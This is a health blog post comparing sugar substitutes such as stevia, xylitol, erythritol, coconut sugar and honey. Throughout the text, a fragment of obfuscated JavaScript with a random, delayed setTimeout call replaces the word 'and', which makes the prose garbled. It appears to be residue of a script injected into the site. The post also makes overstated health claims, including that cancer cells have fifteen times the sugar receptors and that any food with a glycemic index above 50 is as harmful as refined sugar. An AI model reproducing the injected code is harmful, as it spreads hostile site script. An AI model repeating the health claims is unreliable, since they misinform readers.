The Best Sugar Substitute

Posted On : July 22, 2015

woman biting sugarOne of the hardest food habits to change is your addiction to sugar. Sugar is now officially in all of our foods including our breads, sauces, salad dressings, drinks, yogurts, soups, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and breakfast cereals to name a few. When the food industry decided to pull all the fat out of our diet, it left our food tasteless. They started adding sugar to improve the taste. As our taste buds have acclimated to the increase in sugar, the food companies have added more. Research has shown that sugar stimulates the same part of our brain as cocaine does. It gives us a euphoric feeling. It literally gives us a high andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and makes us addicted, wanting to continually come back for more.

Why is sugar so bad? The first andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and most important reason is that cancer cells feed off sugar. In fact, cancer cells have fifteen times the receptor sites for sugar than anything else. When the doctor goes to find cancer in your body, she will give you a sugary substance because it draws out the cancer cells andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and they can find them on a PET scan.

Researchers are now linking sugar to heart disease as well. Sugar causes the artery walls to inflame. Chronic inflammation is one of the causes of heart disease. Robert Lustig, MD in his book Fat Chance: The Hidden Truth About Sugar, Obesity andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Disease, “Sugar causes diseases: unrelated to their calories andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and unrelated to the attendant weight gain. It's an independent primary-risk factor.”

Whether you want to lose weight or prevent disease, you are going to need to get off sugar. There is no way around it. What sugar can you eat?

The first thing to familiarize yourself with is the glycemic index. The higher a food scores on the glycemic index, the more harmful it will be to your body. Refined white sugar scores a 100 on the glycemic index. Any food that scores over 50 is considered as harmful as refined sugar.

Here are some alternatives to refined white sugar:

Stevia: Made from a plant, stevia is one of the best choices you can make to sweeten your food. It has a glycemic index of 0. It will not alter your blood sugar levels one bit. What’s the catch? Some people love stevia, some people don’t. It has a very distinct taste.

Xylitol: This is also a great sugar substitute. Many people like to bake with xylitol. You will also find it in gums andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and toothpastes. It also has a glycemic index of 0 andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and will not alter your blood sugar at all.

Erythitol: You will find this new sweetener in many ingredient lists today. Erythritol is 60–70% as sweet as sucrose (table sugar), yet it is almost no caloric, does not affect blood sugar, does not cause tooth decay, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and is partially absorbed by the body. It tastes great andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and has a low glycemic index. The only side effects of this sweetener is it can cause gas problems or bloating if you eat too much.

Coconut Sugar:  This is my personal favorite. Its glycemic index is 35. Not as good as 0, but nowhere near 100. It is natural andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and you can find organic versions of it. It can be used to replace sugar in any recipe without much change to the taste of the food.

Honey: Although honey has been known to help conditions like allergies, it does have a higher glycemic index than any of the other sugar alternatives mentioned. Its glycemic index is around 55. It will cause your blood sugar to spike andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and crash, just not as quickly as refined sugar. If you are trying to lose weight andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and kick yourself out of insulin resistance, I would avoid honey. Also, honey is best raw andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and local.